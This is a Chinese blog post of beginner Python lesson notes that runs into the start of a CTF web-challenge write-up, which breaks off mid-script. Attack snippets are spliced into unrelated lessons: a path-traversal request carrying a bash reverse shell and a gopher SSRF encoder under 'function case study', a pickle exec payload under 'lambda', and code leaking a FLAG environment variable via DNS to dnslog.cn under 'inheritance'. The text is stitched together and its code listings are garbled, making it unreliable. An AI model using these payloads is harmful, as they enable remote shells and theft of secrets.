py基础 前言,因为我是单个单个的py程序整合在一起的(利用脚本实现) 生成的md文本有很多问题。并且这里的知识点是基础的,不完善的 这里我们会意即可(主要是来水篇文章,bushi) 还有就是马上html5和css3还有js 以及java开发等等也会上线
1第一个py程序.py print(“hello world”)
2第一个python小程序练习.py #请在命令提示符这里输入“零基础,学it,就来黑马程序员” print(“零基础,学it,就来黑马程序员”)
3python中的字面量.py print(666) print(13.14) print(“黑马程序员”)
4注释.py 这 个 是 多行 注释
5变量.py 输出结果 10 hello world 钱包还有: 10 钱包还有: 40
1 2 3 4 5 6 7 8 9 a = 10 print (a)b = "hello world" print (b)print ("钱包还有:" ,a)money = 50 money = money - 10 print ("钱包还有:" ,money)
6数据类型.py 字符串 整形 浮点型 type()
7数据类型转换.py 从文件中读取数字,默认是字符串,我们需要转换为数字
Int(x),将x转换成一个整数.
float(x),将x转换为浮点数 str(x),将对象转换为字符串 同前面的type,这些的都带有返回的结果,可以print或者用变量接收
1 2 3 num_str = str (11 ) print (type (num_str),num_str)
8标识符.py 标识符:
内容限定:英文、中文(少)、数字、下划线。
数字不可以用在开头
大小写敏感:完全区分
不可使用关键字:一系列的,不需要去背。同样大小写敏感。
标识符命名规范:
见名知意:
下滑线:多个单词时,非驼峰
英文字母小写:
9运算符.py #加减乘除这些就不说了,那我字符串加字符串呢?之前一直没有想过或者问题 print(“woshi”+”mniubi”)#结果:woshimniubi,拼接到了一起
10字符串的定义方法.py 三种定义方法,单双,三引号 单引号可以内含双引号 双内含单 可以使用转义字符来将引号接触效果,变为普通字符串 如下,我直接用的话就报错了
1 2 name = "\"黑马程序员\"" print (name)
11字符串的拼接.py 不能字符串和数字型的拼接
1 2 3 4 name = "黑马程序员" fen = "fensi" print ("woshi:" +name+fen)
12字符串格式化.py #我们可以通过如下语法,完成字符串和变量之间的的快速拼接 name = “黑马程序员” message = “学IT就来 %s” % name print(message)#结果:学IT就来 黑马程序员。其中,%s表示我要占位,s表示将变量变成字符串放入占位的地方 #那刚才不支持的数字类型的拼接可以用到这里吗? num = 123 zjnu = “henyui %s,hihi %s” % (message,num) print(zjnu)#结果:henyui 学IT就来 黑马程序员,hihi 123
#但是上面的数字的拼接是换为了字符串格式进行的拼接,我们在这里可以%d数字进行拼接,%f浮点类型进行拼接
13字符串格式化的精度控制.py 数字11宽度限制5,结果是: 11 数字11宽度限制为1,结果是: 11 数字11.345宽度限制7,小数精度2,结果是: 11.35 数字11.345宽度限制7,小数精度2,结果是:11.35
1 2 3 4 5 6 7 8 9 10 11 12 num1 = 11 num2 = 11.345 print ("数字11宽度限制5,结果是:%5d" % num1)print ("数字11宽度限制为1,结果是: %1d" % num1)print ("数字11.345宽度限制7,小数精度2,结果是:%7.2f" %num2)print ("数字11.345宽度限制7,小数精度2,结果是:%.2f" %num2)
14字符串格式化方式2.py #通过语法:f”内容{变量}的格式来快速格式化” name = “谭绍清” num = 111 monry = 5000.1 print(f”我是{name},编号是{num},我身上的钱有{monry}”)#结果:我是谭绍清,编号是111,我身上的钱有5000.1
15对表达式进行格式化.py 11的结果是:1 1 1的结果是: 1 字符串在python中的类型是:<class ‘str’>
1 2 3 4 5 6 7 print ("1*1的结果是:%d" % (1 *1 ))print (f"1*1的结果是: {1 *1 } " )print ("字符串在python中的类型是:%s" % type ('我' ))
请告诉我你的:11 11 你是真的牛逼:22 22
1 2 3 num = input ("请告诉我你的:" ) print (num)print (input ("你是真的牛逼:" ))
17布尔类型和比较运算符.py #布尔类型用于表示:真和假 #掌握比较预算符用于计算:真和假 #布尔类型:True真,False假 #定义变量储存布尔类型数据,变量名称 = 布尔类型字面量 #布尔类型不仅可以通过自行定义,同时也可以通过计算来得到。也就是比较预算符及逆行比较运算得到布尔类型的结果 #主要的六类比较预算符,这里不再多叙述
18if语句的基本格式.py #注意冒号和四个空格表示的缩进 age = 18 if age >= 18: print(“我已经成年了”)
19案列成年人的判断.py 1.通过input语句,获取键盘输入,为变量age复制。(注意转化为数字类型) 2.通过if判断是否是成年人,满足条件则输出提示信息: 欢迎来到黑马儿童游乐场,儿童免费,成人收费 请输入你的年龄:30 您已成年,游玩需要补票10元 祝你游玩愉快
1 2 3 4 5 6 7 print ("欢迎来到黑马儿童游乐场,儿童免费,成人收费" )age = int (input ("请输入你的年龄:" )) if age >= 18 : print ("您已成年,游玩需要补票10元" ) else : print ("欢迎小朋友" ) print ("祝你游玩愉快" )
20if-else的组合判断.py if 条件 : 要执行的 else : 要执行的
21if elif else综合使用.py 1.定义一个变量,数字类型,内容随意 2.基于input语句输入猜想的数字,通过if和多次elif的组合,判断猜想的数字和心里数字是否一致 请输入第一次猜想的数字:1 不对,再猜一次:2 不对,再猜最后一次:3 sorry,全部猜错了,我想的是: 10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 num = 10 num1 = int (input ("请输入第一次猜想的数字:" )) if num1 == num : print ("恭喜你猜对了!" ) else : num2 = int (input ("不对,再猜一次:" )) if num2 == num : print ("恭喜你猜对了!" ) else : num3 = int (input ("不对,再猜最后一次:" )) if num3 == num: print ("恭喜你猜对了!" ) else : print ("sorry,全部猜错了,我想的是: 10" )
22循环判断语句综合练习.py 案例需求:定义一个数字(110随机产生),通过三次判断来猜出数字 案例要求: 1.数字随机产生,范围110 2.有三次机会猜测数字,通过三层嵌套判断实现 3.每次猜不中,会提示大了或小了 提示,通过如下代码,可以定义一个变量num,变量内存储存随机数字 import random num = random.randint(1,10)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import randomnum = random.randint(1 ,10 ) num1 = int (input ("请您对1~10之间的整数进行猜测,进行第一次猜测,共三次机会:" )) if num1 == num : print ("恭喜你,猜对了" ) elif num1 >= num: print ("猜测结果大了" ) num1 = int (input ("请您进行第二次猜测,共三次机会:" )) if num1 == num : print ("恭喜你,猜对了" ) elif num1 >= num: print ("猜测结果大了" ) num1 = int (input ("请您进行第三次猜测,共三次机会:" )) if num1 == num : print ("恭喜你,猜对了" ) else : print (f"您已猜错三次,正确数字是{num} " ) else : print ("猜测结果小了" ) num1 = int (input ("请您进行第三次猜测,共三次机会:" )) if num1 == num : print ("恭喜你,猜对了" ) else : print (f"您已猜错三次,正确数字是{num} " ) else : print ("猜测结果小了" ) num1 = int (input ("请您进行第二次猜测,共三次机会:" )) if num1 == num: print ("恭喜你,猜对了" ) elif num1 >= num: print ("猜测结果大了" ) num1 = int (input ("请您进行第三次猜测,共三次机会:" )) if num1 == num: print ("恭喜你,猜对了" ) else : print (f"您已猜错三次,正确数字是{num} " ) else : print ("猜测结果小了" ) num1 = int (input ("请您进行第三次猜测,共三次机会:" )) if num1 == num: print ("恭喜你,猜对了" ) else : print (f"您已猜错三次,正确数字是{num} " )
23while循环的基础运用.py while 条件(布尔类型,或者比较运算): 条件满足时,做的事情1 具体的案列,小妹心软,我只要表白一百次就可以成功
1 2 3 4 5 i = 0 while i < 100 : print ("小美我喜欢你" ) i = i + 1 print (f"这是打印的{i} 次" )
24while循环案列.py 求1-100的和 需求:通过while循环,计算从1累加到100的和 提示:不要忘记条件,设置确保while循环100次 确保累加的数字,从1开始,到100结束
1 2 3 4 5 6 7 i = 1 j = 0 while i < 101 : j = j + i if i == 100 : print (f"1-100的和为{j} " ) i = i + 1
25while循环猜数字.py 设置一个范围为1-100的随机整数变量,通过while循环,配合input语句,判断输入的数字是否等于随机数 ·无限次机会,知道猜中为止 ·每一次猜完之后,判断说数字是打了还是小了 猜完数字之后,提示猜了几次 随机数使用 import random num = random.randint(1,100)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import randomnum = random.randint(1 ,100 ) k = 1 while 1 > 0 : print ("请输入你猜测的数字:" ) j = int (input ()) if j == num: print (f"你猜了{k} 次,第{k} 次猜对了" ) break elif j <= num: print ("小了" ) else : print ("大了" ) print (f"你猜了{k} 次没有猜对" ) k = k + 1
26while循环的嵌套使用.py 向小美表白100天,每一天都会送出10朵玫瑰花
1 2 3 4 5 6 7 8 9 10 11 i = 1 while i < 100 : print (f"今天是第{i} 天,准备表白......" ) j = 1 while j <= 10 : print (f"送给小美的第{j} 朵玫瑰花" ) j = j + 1 print ("小美,我喜欢你" ) i = i + 1 print (f"坚持到第{i-1 } 天,表白成功了" )
27while循环案列-九九乘法表.py 使用我们的while循环,打印九九乘法表 默认的print语句输出内容会自动换行,在即将完成的案列中,我们需要使用print语句,输出不 换行的功能,非常简单 print(“hello”,end=’’)这样就不换行了 还是说,要自己写最好 黑马这里是后面加上了一个\t功能
1 2 3 4 5 6 7 8 9 i = 1 j = 1 while i <= 9 : while j <= i: print (f"{j} *{i} ={i*j} " ,end=' ' ) j = j + 1 j = 1 print ("" ) i = i + 1
28for循环的基础知识.py 基本语法还是很简单的 for 临时变量 in 待处理数据集: 循环满足条件时执行的代码(可以是数字,也可以是字符串呀等等) (意思就是将我们的待处理的数据集一个个带入临时变量去试)
29range语句.py 对于上节课讲的待处理数据集,严格来说被称为:序列类型 序列类型指的是,其内容可以被一个个一次取出的一种类型,包括: 字符串 列表 元组 后面会详细的讲 通过学习range语句,获得一个简单的数字序列 range(num)获取一个从0开始,到num结束的数字序列(不含num本身) 如range(5)获得的就是[0,1,2,3,4] 语法2:range(num1,num2),range(5,10)取得的数据就是[5,6,7,8,9] 语法3:range(num1,num2,step)获得一个从num1开始,到num2结束的数字序列(不含num2本身) 数字之间的步长,以step为主,默认为1 如range(5,10,2)取得的数据就是[5,7,9]
30for循环临时变量作用域.py …….
31for循环的嵌套使用.py for循环打印九九乘法表 ok,也是自己做了出了,没有什么问题
1 2 3 4 for i in range (1 ,10 ): for j in range (1 ,i+1 ): print (f"{j} *{i} ={j*i} " ,end=" " ) print ("" )
32continue和break的使用.py for i in range(1,100): 语句1 continue 语句2 在这里,我们就直接进入了下一个循环,所以语句2是不会执行的,语句1会按照正常次数一直执行下去 如果是有两层循环的话,那么如果continue在内层的话,触发continue后就会继续执行内层循环 break for i in range(1,100): 语句1 break 语句2 语句3 这样就只会执行一次语句1然后就直接执行语句3了
33循环综合案列.py …
34函数的初体验.py 函数:是组织好的,可重复使用的,用来实现特定功能的代码块 已经组织好的,可重复使用,针对特定功能 为什么要使用函数,减少重复性工作,提高开发效率 案例:不适用内置函数len(),完成字符串长度的计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 str1 = "itheima" str2 = "itcast" str3 = "python" count = 0 for i in str1: count =count + 1 print (f"字符串长度{str1} 的长度是:{count} " )count = 0 for i in str2: count =count + 1 print (f"字符串长度{str2} 的长度是:{count} " )count = 0 for i in str3: count =count + 1 print (f"字符串长度{str3} 的长度是:{count} " )def my_len (data ): count = 0 for i in data: count += 1 print (f"字符串{data} 的长度是{count} " ) my_len(str1) my_len(str2) my_len(str3)
35函数的基础定义.py 掌握函数的基础定义语法 def 函数名(传入参数): 函数体 return 返回值
1 2 3 4 5 6 def say_hi (): print ("hi" ) say_hi()
36函数基础定义练习.py 有点太简单了
37函数的传入参数.py def add(x,y): result = x + y print(f”x+y的值为{x+y}”)
1 2 3 4 5 6 def add (x,y ): result = x + y print (f"x+y的值为{x+y} " ) add(3 ,4 )
38函数的参数练习.py 需求:定义一个函数,名称任意,并接受一个参数的传入(数字类型,表示体温) 在函数内进行体温判断(正常范围:小于等于37.5度),并输出如下内容 欢迎来到黑马程序员!请出示您的健康码以及72小时核算证明,并配合测量体温! 体温测量中,您的体温是:37.3度,体温正常请进! 欢迎来到黑马程序员!请出示您的健康码以及72小时核算证明,并配合测量体温! 体温测量中,您的体温是:39.3度,需要隔离
1 2 3 4 5 6 7 8 9 10 11 12 def tem (x ): if x<=37.5 : print (f"欢迎来到黑马程序员!请出示您的健康码以及72小时核算证明,并配合测量体温!\n体温测量中,您的体温是:{x} 度,体温正常请进!" ) elif x < 35 or x > 40 : print ("输入的体温错误" ) else : print (f"欢迎来到黑马程序员!请出示您的健康码以及72小时核算证明,并配合测量体温!\n体温测量中,您的体温是:{x} 度,需要隔离" ) tem(40 ) tem(36 ) tem(37.5 )
39函数的返回值定义语法.py 1.掌握函数返回值的作用 2.掌握函数返回值的定义语法 通过返回值,将相加的结果返回给调用者
1 2 3 4 5 6 7 8 def add (x,y ): result = x + y return result r = add(1 ,2 ) print (f"x+y的结果是{r} " )
40函数的返回值之None类型.py 思考:如果函数没有使用return语句返回数据,那么函数有返回值吗 实际上是:有 python中有一个特殊的字面量:None,其类型是:<class’NoneType’> 无返回值的函数,实际上就是返回了:None这个字面量 也可以主动返回:return None 用在if判断上,None等同于False 一般用于在函数中主动返回None,配合if判断做相关处理 还可以用于声明变量,比如一些变量我一开始是不需要去定义的,这种情况下就可以去用None这个来代替 name = None
41函数的说明文档.py 我们可通过添加函数的说明文档,理解函数的作用 语法如下:
1 2 3 4 5 6 7 8 9 def func (x,y ): """ 函数说明 :param x:形参x的说明 :param y:形参y的说明 :return:返回值的说明 """ print (f"{x+y} " ) return None
42函数的嵌套调用.py 1.掌握函数的嵌套调用 2.理解嵌套调用的执行流程
1 2 3 4 5 6 7 def func_b (): print ("---2---" ) def func_a (): print ("---1---" ) func_b() print ("---3---" ) func_a()
43变量在函数中的作用域.py 局部变量 定义在函数体内部的变量,即在函数内部生效 在函数外部调用失败 可以使用global声明是全局变量,在函数里面
44函数的综合案列.py POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 58
echo;bash -c ‘bash -i >& /dev/tcp/xxx/9001 0>&1’
1 2 3 4 5 6 7 8 import urllib.parsepayload =\ tmp = urllib.parse.quote(payload) new = tmp.replace('%0A' ,'%0D%0A' ) result = 'gopher://127.0.0.1:80/' +'_' +new result = urllib.parse.quote(result) print (result)
45数据容器入门.py 如果我想要在程序中,记录五名学生的信息,如姓名 那应该不能说,定义五个变量来记录吧 name_list = [‘man’,’bob’,’jack’,’jerry’,’marry’,’andi’] python中的数据容器,一种可以容纳任何数据的数据类型,容纳的每一份数据成为1个元素
46列表的定义语法.py 基本语法 #字面量 [元素1,元素2,元素3] #定义变量 变量名称 = [元素1,元素2,元素3] #定义空列表 变量名称 = [] 变量名称 = list()
1 2 3 4 my_list = ['itheima' ,'666' ,True ] print (my_list)print (type (my_list))
47列表的下表索引.py 列表中存储的数据怎么取出来? 下标索引,从0开始,依次递增 可以反向索引。也就是从后往前 -1,-2,-3一次递减 嵌套列表的操作呢? list = [[1,2],[3,4]] 列表[1][0]就可以被取出来了
48列表的常用操作方法.py 掌握列表的常用操作(方法)和特点 列表除了可以: ·定义 ·使用下标索引取值 还提供了一系列功能: ·插入元素 ·删除元素 ·清空列表 ·修改元素 ·统计元素个数 这些都是方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 def add (x,y ): return x+y class Student : def add (x,y ): return x+y num = add(1 ,2 ) student = Student num = student.add(1 ,2 ) my_list = ["itheima" ,"itcast" ,"python" ] index = my_list.index("itheima" ) print (f"itheima在列表中的索引值是:{index} " )my_list = [1 ,2 ,3 ] my_list[0 ] = 5 print (my_list)my_list.insert(1 ,"itheima" ) print (my_list)my_list.append(4 ) print (my_list)my_list = ["itheima" ,"itcast" ,"python" ] del my_list[2 ]print (my_list)my_list.pop(1 ) print (my_list)my_list.remove('itheima' ) print (my_list)my_list = ["itheima" ,"itcast" ,"python" ] my_list.clear() print (my_list)my_list = [1 ,2 ,1 ,2 ,3 ] num1 = my_list.count(1 ) print (num1)my_list = ["itheima" ,"itcast" ,"python" ] num2 = len (my_list) print (num2)
49列表的循环遍历.py while和for循环遍历
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from operator import indexmy_list = ["itheima" ,"itcast" ,"python" ] index = 0 while index < len (my_list): element = my_list[index] print (f"列表的元素:{element} " ) index += 1 for i in my_list: print (i)
50元组的定义和操作.py 需要我们在程序内封装数据,但是又不希望被封装的数据被篡改,那么元组就非常合适了 定义元组字面量 (元素,元素,元素) 定义元组变量 = (元素,元素,元素) 定义空元组 变量名称 = () 变量名称 = tuple()
1 2 3 4 t5 = ((1 ,2 ,3 ),(4 ,5 ,6 )) num1 = t5[1 ][2 ] print (num1)
51字符串的定义和操作.py 数据容器脚下的字符串 字符串同样也是数据容器的一员 从前向后,从0开始 同元组一样,字符串是一个无法修改的数据容器 字符串的替换: 语法:字符串.replace(字符串1,字符串2) 功能:将字符串内的全部:字符串1,替换为字符串2 注意:不是修改字符串本身,而是得到了一个新的字符串 字符串.split(按照什么字符进行切割)。然后返回一个列表 字符串.strip(),字符串的规整操作,去除前后空格 string.strip(字符串),去前后指定字符串。“12dgsuahd21”,传入12就可以去掉12和21.划分为两个小字符,都给切除了 可以传参,也可以不用传参,这里就代表这个函数是有默认值的 .conut和.len都是可以的
1 2 3 4 my_str = "itheima and itcast" value = my_str[2 ] print (value)print (my_str.index('and' ))
52数据容器(序列)的切片.py 序列是指:内容连续、有序、可使用下表索引的一类数据容器 列表、元组、字符串,均可以视为序列 切片语法:序列[起始下标:结束下标:步长]
53集合的定义和操作.py 定义集合字面量{元素,元素,元素} 变量名称= {元素,元素,元素} 变量名称=set()空集合 集合是无序的,所以集合不支持下表索引访问 但是集合和列表一样,是允许修改的.add添加 .remove是移除 ,pop就是随机取出来一个了
1 2 3 4 5 6 7 8 9 10 11 set1= {1 ,2 ,3 } set2={1 ,2 ,4 } set3=set1.difference(set2) print (set3)set4=set1.union(set2) print (set4)for i in set4: print (i)
54字典的定义以及常用操作.py 字典的定义,同样使用{},不过是一个个的键值对 {key:vaule,key:value}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mydict1={"w" :99 ,"zhou" :100 ,"li" :88 } mydict2= { } mydict3= dict () my_dict= mydict1.keys() for key in my_dict: print (f"字典的key值为:{key} " ) for key in my_dict: print (f"2字典的key是:{key} " )
55函数的多返回值.py 如果一个函数有两个return。只会执行一个,原因是return可以退出当前函数,导致return下面的代码不会再执行
1 2 3 4 5 def test_return (): return 1 ,2 x,y= test_return() print (x)print (y)
56函数的多种参数使用形式.py 位置参数:之前一直在使用的 关键字参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 def user_info (name,age,gender ): print (f"您的名字是:{name} ,年龄是{age} ,性别是:{gender} " ) user_info("小明" ,age=20 ,gender="男" ) def user_info1 (name,age,gender="男" ): print (f"您的名字是:{name} ,年龄是{age} ,性别是:{gender} " ) user_info1('xiaotian' ,13 ) def user_info (*args ): print (args) user_info('TOM' )
57函数作为参数传递.py 我们学习的函数本身,也可以作为参数传递
1 2 3 4 5 6 def test_func (compute ): result=compute(1 ,2 ) print (result) def compute (x,y ): return x+y test_func(compute)
58lambda匿名函数.py import pickletools
data=b”\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b’1’\nkey2=b’2’q\x01\x85q\x02Rq\x03.” pickletools.dis(data) # #0: \x80 PROTO 3 #2: c GLOBAL ‘builtins exec’ #17: q BINPUT 0 #19: X BINUNICODE “key1=b’1’\nkey2=b’2’” #43: q BINPUT 1 #45: \x85 TUPLE1 #46: q BINPUT 2 #48: R REDUCE #49: q BINPUT 3 #51: . STOP #highest protocol among opcodes = 2
59文件编码概念.py 计算机只能识别0和1,使用编码技术将内容翻译成0和1存入 记录了如何将内容翻译为二进制,并如何翻译回来 一般使用UTF-8的编码方式进行编码
60文件的读取操作.py 文件可以分为文本文件,视频文件,音频文件等等 open(name,mode,encoding),可以打开一个已经存在的文件,或者创建一个新文件 name:是要打开文件的目标文件名的字符串(可以包含文件所在的具体路径) mode:设置文件打开的模式:只读,写入,追加 encoding:编码格式(推荐使用UTF-8) 代码示例: f=open(‘python.txt’,’r’,encodingUTF-8) #encoding的顺序不是第三位,所以不能使用位置参数,用关键字直接指定 此时的f是open函数的文件对象,对象是python中的一种数据类型 w模式:打开一个文件只用于写入。如果该文件已存在则打开文件,并从头开始编辑,原有内容会删除。如果该文件不存在,创建新文件 a:打开一个文件用于追加。如果该文件已存在,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入 r:只读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import timef=open ('1.txt' ,'r' ,encoding='UTF-8' ) with open ('1.txt' ,'r' ,encoding='UTF-8' ) as f: for line in f: print (f"每一行数据是{line} " ) time.sleep(5000 )
61文件读取练习.py read再count(“itheima”)的这种方式
62文件的写入操作.py f=open(‘test.txt’,’w’,encoding=”UTF-8”) f.write(‘hello world’) f.flush() f.close() #close是内置了flush方法的
#最后一步就是将内容写入硬盘,之前都是写在内存当中
63文件的追加写入操作.py 只要将模式替换为a就可以了,没有很多的差别
64了解异常.py bug
65异常的捕获.py 为什么捕获异常?提前假设某处会出现异常,做好提前准备,当真的出现异常的时候,可以有后续手段 try: 可以发生错误的代码 except: 如果出现异常执行的代码 捕获指定异常:except NameError as e:这个就是异常的对象 捕获多个异常:except(NameError,ZeroDivisionError): 捕获全部异常:except Exception as e: 异常的else和finally语法: else:没有异常时执行的代码 finally:有无异常都要去执行的一个代码
66异常的传递性.py 比如有好几个函数嵌套在一起时,会捕获到这个异常,这个就是异常的传递性
67模块的概念和导入.py 常见的组合形式: import 模块名 from 模块名 import 类,变量,方法等 from 模块名 import * import 模块名 as 别名 from 模块名 import 功能名 as 别名
68自定义模块并导入.py 1 2 3 4 5 6 7 8 import my_module1my_module1.test(10 ,20 )
69自定义python包.py 什么是py包,就是一个文件夹,在该文件夹下包含了一个__init__.py文件,该文件夹用于包含多个模块文件。从逻辑来看,包的本质依然是模块
70安装第三方包.py C:\Users\31349>pip install numpy Requirement already satisfied: numpy in d:\python\lib\site-packages (2.2.1)
[notice] A new release of pip is available: 24.3.1 -> 25.1.1 [notice] To update, run: python.exe -m pip install –upgrade pip 这个不多说,遇到过了很多次了
71异常-模块-包综合案列.py 72json数据格式.py 本质上是负责不同编程语法中的数据传递和交互 可以是 {“name”:”admin”,”age”:”18”} [{“name”:”admin”,”age”:”18”},{“name”:”admin1”,”age”:”128”}]
1 2 3 4 5 6 7 8 9 import jsondata=[{"name" :"老王" ,"age" :16 },{"name" :"张三" ,"age" :20 }] json_str=data=json.dumps(data,ensure_ascii=False ) print (json_str)data=json.loads(data)
73初识对象.py 设计类,创建对象,对象属性赋值
1 2 3 4 5 6 7 8 9 10 11 class Student : name=None gender=None nationality=None native_place=None age=None stu1= Student() stu1.name="林jun杰" stu1.gender="nan" print (stu1.name)
74类的成员方法.py 掌握类的定义和使用语法 掌握成员方法的使用 掌握self关键子的作用 上一节中,我们简单了解到可以使用类去封装属性,并基于类创建出一个个的对象来使用 现在我们来看看类的使用语法 class 类名称: 类的属性:即定义在类中的变量(成员变量) 类的行为:即定义在类的函数(成员方法) 创建类对象的语法:对象=类名称 这个self是必须存在的,它用来表示类对象自身的意思 当我们使用类对象调用方法时,self会被python传入 在方法内部,想要访问类的成员变量,必须使用self 比如需要传参的时候,我们可以当作self不存在,可以不用理会self
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class Student : name=None age = None def say_hi (self ): print (f"Hi大家好,我是{self.name} " ) def say_hi2 (self,msg ): print (f"大家好,我是:{self.name} ,{msg} " ) stu= Student() stu.name="xiaodaigua" stu.say_hi() stu2=Student() stu2.name="linjijie" stu2.say_hi2("小伙子,我看好你" )
75类和对象.py 这节课基本就是一些概念的理解。。。
76构造方法.py python类可以使用:init ()方法,称之为构造方法 可以实现: 在创建类对象(构造类)的时候会自动执行 在创建类对象(构造类)的时候,将传入参数自动传递给__Init__方法使用
1 2 3 4 5 6 7 8 9 10 11 12 class Student : name= None age=None tel=None def __init__ (self,name,age,tel ): self .name=name self .age=age self .tel=tel print ("Student类创造了一个对象" ) stu= Student("周杰伦" ,31 ,"174827489" ) print (stu.name)
77魔术方法.py 掌握几种常见的魔术方法 使用str def str (self): return f”name={self.name}”,这个时候打印stu,结果大概就是Student类对象,name=什么 其他的魔术方法就不看了,没有reduce这种的
1 2 3 4 5 6 7 8 9 10 class Student : def __init__ (self,name,age ): self .name=name self .sge=age stu=Student("周杰伦" ,11 ) print (stu)print (str (stu))
78封装.py 面向对象包含三大主要特性: 封装 继承 多态 封装就是:类中提供了私有成员的形式来支持 私有成员变量 私有成员方法 私有成员变量:变量以__开头 私有成员方法:方法名以__开头,即可完成私有成员的设置 私有成员无法被类对象使用,但是可以被其他的成员使用,就是自己这个类里面的可以用
79继承的基本语法.py class Phone: IMEI=None producer=”HM”
def call_by_4g(self):
print("4g通话")
class Phone2022(Phone): face_id =”10001” def call_by_5g(self): print(“666”)
phone=Phone2022() #属性这些就可以用了 #python,一个类可以继承多个父类 #class MyPhone(类名1,类名2,类名3)这样就可以了,不想再添加新的功能一个pass就可以了 #类的名字一样的话,后面的会覆盖前面的
80复写和调用父类成员.py import os import socket flag=os.environ[‘FLAG’] socket.getaddrinfo(flag.replace(‘{‘, ‘’).replace(‘}’, ‘’) + ‘.uhgxr3.dnslog.cn’, 0)
81变量的类型注解.py 在pycharm中,我们经常可以看见,比如输入list.ap之后,会自动提示append(self,__object)。自动提示可用的方法。因为pycharm确定这是一个对象 同样,我们换一份代码,定义一个func,接受一个参数data。pycharm就不会做出任何提示了 def func(data): data.app 这样确不会提示我们要传入的参数了。思考,为什么pycharm工具无法提示了。因为pycharm不确定这个对象是什么类型的 或者我们调用一些其他的方法的时候,进行传参的时候,我们输入ctrl+p就会提示我们要传入哪些参数并且是什么类型(对于第一种情况来说) 但是第二种情况却不会这样了,只会好俗你要传入几个参数,不会告诉你是什么类型 为什么py内置模块可以,但是我们自己定义的确不可以呢?因为pycharm无法通过代码确定应该传入什么类型,我们需要使用类型注解 支持:变量的类型注解,函数(方法)形参列表和返回值的类型注解 基础数据类型注解: var_1: int = 10 类对象类型注解: class Student: pass stu: Student = Student() 也可以是详细的注解 my_list: list[int] = [1,2,3]
1 2 3 4 5 6 7 8 9 10 import randomclass Student : pass var_1 = random.randint(1 ,10 )
82函数和方法类型注解.py 1 2 3 4 5 6 7 8 def add (x:int ,y:int ): return x+y add() def func (data:list ) -> list : return data func()
83union联合注解.py 比如我们现在有一个数据是mylist=[1,2,”itheima”] 这个就和常规的一个list是有一些区别的 这里就可以考虑使用我们的联合注解
1 2 from typing import Union my_list:list [Union [str ,int ]] = [1 ,2 ,"itheima" ]
84多态.py 同样的一个行为,传入不同的对象,得到不同的状态 函数方法形参申明接受父类对象 实际传入父类的子类对象进行工作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class Animal : def speak (self ): pass class Dog (Animal ): def speak (self ): print ("汪汪汪" ) class Cat (Animal ): def speak (self ): print ("喵喵喵" ) def mark_noise (animal:Animal ): animal.speak() dog = Dog() cat = Cat() mark_noise(dog)
简单脚本 基本就是过一下,都是非常简单非常基础的一些脚本的web题
[HUBUCTF 2022 新生赛]Calculate 1分 PythonWEB脚本编写 题目描述
python is a good tool in CTF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Answer my questions Answer the following methematics questions for 20 times;you have 3 seconds to solve each question; In order to protect the server you can't ans one question in less than 1 second You Have answered 0questions; 5 8 4 - 1 6 =
一进去就可以看到一个东西,最快1秒,最慢三秒内解决20道数学题,一般这样就出flag了 但是,手打的话很难这么快,还没有错误,这里肯定就是要借助我们的脚本了,我们先来抓一个包来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST / HTTP/1.1 Host: node5.anna.nssctf.cn:29507 Content-Length: 5 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://node5.anna.nssctf.cn:29507 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node5.anna.nssctf.cn:29507/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=c9c0e0j8imad0lsu0h2cv1jga6 Connection: close ans=1
大概就是这个样子的一个数据包 再来看一下页面,要计算的数字都是在什么h5标签下的
现在就可以开始写我们的脚本了 首先我们要知道发包的get和post请求 get的简单一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import requests # 目标URL(示例) base_url = "http://example.com/api/data" # 1. 基础GET请求(无参数) response_basic = requests.get(base_url) print("基础GET请求状态码:", response_basic.status_code) print("基础GET响应内容:", response_basic.text[:200]) # 打印前200字符 # 2. 带参数的GET请求(通过params参数传递) # 参数会自动拼接到URL后面,格式为:url?key1=value1&key2=value2 params = { "id": 123, "category": "test", "page": 1 } response_with_params = requests.get(base_url, params=params) print("\n带参数的GET请求URL:", response_with_params.url) # 查看实际请求的URL print("带参数的响应状态码:", response_with_params.status_code) print("带参数的响应内容:", response_with_params.text[:200]) # 3. 带请求头(Headers)的GET请求 # 常用于伪装浏览器、携带Cookie或认证信息 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 